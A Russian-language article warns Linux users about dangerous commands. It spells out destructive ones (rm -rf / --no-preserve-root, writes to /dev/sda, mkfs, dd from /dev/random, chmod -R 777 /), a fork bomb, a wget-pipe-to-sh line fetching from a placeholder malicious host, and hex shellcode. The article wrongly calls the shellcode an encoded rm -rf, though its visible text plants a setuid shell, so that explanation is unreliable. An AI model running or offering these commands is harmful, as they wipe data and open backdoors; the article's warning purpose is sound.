Какие самые опасные команды Linux?
Мне задавали этот вопрос много раз, и я избегал ответа на него, потому что нет определенного списка опасных команд Linux .
У вас есть инструменты, которые позволяют вам контролировать и модифицировать каждый аспект вашей операционной системы. Я не пытаюсь вас напугать, но если вы не знакомы с командами и инструментами, вы можете довольно легко испортить свою систему.
Представьте себе сценарий маленького ребенка в домашнем хозяйстве. Есть множество способов, которыми ребенок может навредить себе. Но значит ли это, что ребенка нельзя выпускать за пределы кроватки?
Здесь родители устанавливают границы и направляют ребенка. Не подходите к огню. Не суйте пальцы в электрические розетки. По мере того, как ребенок растет и набирается опыта, он может включать плиту, разводить огонь в камине и подключать электрические кабели.
Точно так же, если вы знаете несколько известных рискованных команд, вы можете избежать попадания в ловушки троллей, пытающихся обманом заставить вас выполнять команды и испортить вашу систему.
1. rm -rf /*
Это, вероятно, самая печально известная команда во всех социальных сетях. Вы часто можете встретить троллей, комментирующих это в различных обсуждениях.
Команда rm используется для удаления файлов/каталогов. Флаги -r и -f используются для обозначения рекурсивного удаления всех файлов внутри указанного каталога. Теперь, без привилегий root, эта команда не причинит никакого вреда.
Выполнение команды sudo rm -rf / также не создаст никаких проблем, поскольку большинство дистрибутивов предоставляют опцию отказоустойчивости. Вам нужно указать –no-preserve-root, чтобы навредить системе.
sudo rm -rf / --no-preserve-root
Однако более простой вариант:
sudo rm -rf /*
Выполнение указанных выше команд начнет рекурсивно удалять все файлы в корневом каталоге, и в какой-то определенный момент ваша система зависнет с сообщением «Ошибка удаления файла». После перезагрузки вы будете отправлены на grub-rescue.
2. Перезапишите свой раздел
Если вы знакомы с файловыми системами, вы, вероятно, знаете, что такое /dev/sda. Это (обычно) раздел вашего диска. Оператор > используется для записи вывода предыдущей команды в указанное указанное место.
После того, как вы запустите любую команду и запишете ее в /dev/sda, введите:
echo "Hello" > /dev/sda
Это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello».
3. Переместить все в пустоту
Внутри каждой системы Linux есть пустота. И эта пустота — /dev/null.
Все, что вы бросаете в эту область, теряется навсегда. Кроме того, он сообщает об успешном процессе записи после отбрасывания данных, что является основной причиной его опасности.
mv /home/user/* /dev/null
Команда mv используется для перемещения или переименования файлов/каталогов. В приведенной выше команде вы перемещаете все файлы внутри домашнего каталога в пустоту. Все ваши личные данные будут утеряны.
4. Отформатируйте жесткий диск
mkfs — это утилита командной строки, используемая для форматирования дисков и разделов. Это очень удобный инструмент для создания разделов для различных установок. Но та же команда может отформатировать и ваш диск. Форматирование диска означает удаление всех файлов, необходимых для загрузки системы.
mkfs.ext3 /dev/sda
Команда выполняет свою работу, и в итоге вы получаете испорченную систему, которую невозможно восстановить.
5. Вилочная бомба
Эта симпатичная случайная комбинация специальных символов достаточно мощна, чтобы заморозить работающую систему, исчерпав системные ресурсы.
:(){:|:&};:
& — фоновый оператор оболочки. Он информирует оболочку о переводе команды в фоновый режим. Здесь он определяет функцию с именем ‘:’, которая вызывает себя дважды, видимом и фоновом режиме. Этот процесс продолжает выполняться снова и снова, пока система не зависнет.
Как следует из названия, команда разветвляется и в конечном итоге становится цепной бомбой и поглощает все системные ресурсы. Вы будете вынуждены перезагрузить систему, что не так плохо, как другие команды в этом списке.
6. Перезапишите важные файлы конфигурации
Хотя это не команда сама по себе, это скорее мера предосторожности.
Как упоминалось выше, оператор «>» используется для записи в файл. Он просто отбрасывает все, что уже присутствует в файле, и записывает предоставленные ему новые данные.
command > config_filename
Теперь, если вы используете какой-либо важный файл конфигурации в качестве места для записи данных, он заменит содержимое, оставив систему сломанной.
7. Замените раздел мусорными данными
Команда /dev/random в Linux может создавать мусорные данные. Объедините это с командой dd и вашим разделом, и вы получите коктейль Молотова, чтобы поджечь ваш раздел.
dd if=/dev/random of=/dev/sda
Команда dd используется как средство низкоуровневого копирования. Здесь она берет случайные данные /dev/random и заменяет раздел /dev/sda этим мусором.
Подобный эффект достигается при:
cat /dev/urandom > filename
Здесь он берет мусорные данные из /dev/urandom и заполняет файл. Если не завершить его с помощью Ctrl + C, файл может занимать значительное количество места, что может иметь катастрофические последствия для слабых систем.
8. Откройте свою систему для всех
В Linux все является файлом, и каждый файл имеет определенные разрешения.
Вы можете просмотреть разрешения с помощью ls -l. Корневая файловая система недоступна для других пользователей без привилегий. Хотя это обеспечивает безопасную работу в системе, вы можете испортить все с помощью одной единственной команды.
chmod -R 777 /
Приведенная выше команда предоставляет доступ всем, ко всем файлам в корневом разделе. Это означает, что каждый, кто использует систему, имеет права на чтение, запись и выполнение. Это не хорошо для вашей системы.
9. Загрузите и запустите вредоносный контент
Как вы устанавливаете программное обеспечение в Linux? Вы используете официальный менеджер пакетов или готовые к использованию пакеты как Deb/RPM, Snap. Flatpack и др.
Однако некоторые программы не упакованы, и их разработчики предоставляют сценарии оболочки для загрузки и запуска.
Вы загружаете файл оболочки и запускаете его от имени пользователя root, чтобы установить программное обеспечение в своей системе. Вы видите в этом проблему?
Хотя он работает с официальным программным обеспечением, таким как Homebrew, вам следует дважды проверить содержимое загружаемого сценария оболочки, прежде чем запускать его напрямую, как показано ниже:
wget http://malicious_source -O- | sh
Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.
10. Замаскированные команды
Есть много способов запускать команды в терминале Linux. Одним из таких способов являются шестнадцатеричные команды.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Хотя это выглядит причудливо, это закодированная версия команды rm -rf. Её выполнение даст тот же эффект, что и выполнение предыдущей команды. Так что, копируя и вставляя такие причудливые команды из Интернета, будьте осторожны.
Подведение итогов
Потому что, в конце концов, пользователь (вы) должен убедиться, что вы не разрушите систему, слепо выполнив любую опасную команду.
В задачу UNIX не входит мешать вам прострелить себе ногу. Если вы решите это сделать, то задача UNIX, не будет против.
И эта линия в равной степени относится и к Linux. Вы получаете полный контроль над своей операционной системой. Что вы решите делать, зависит только от вас.
Я советую следующие вещи, чтобы обеспечить более безопасный опыт:
- Попытайтесь понять команды, которые вы собираетесь запустить.
- Сохраняйте резервную копию системных настроек с помощью Timeshift
- Сохраняйте резервную копию личных данных (домашний каталог) с помощью DejaDup
Как я уже сказал, фиксированного списка опасных команд Linux не существует. К этому списку можно добавить еще много всего, и он просто не имеет конца.
Я надеюсь, что это дало вам некоторые подсказки о том, что вы не должны делать, чтобы оставаться в безопасности с Linux. Жду Ваши комментарии.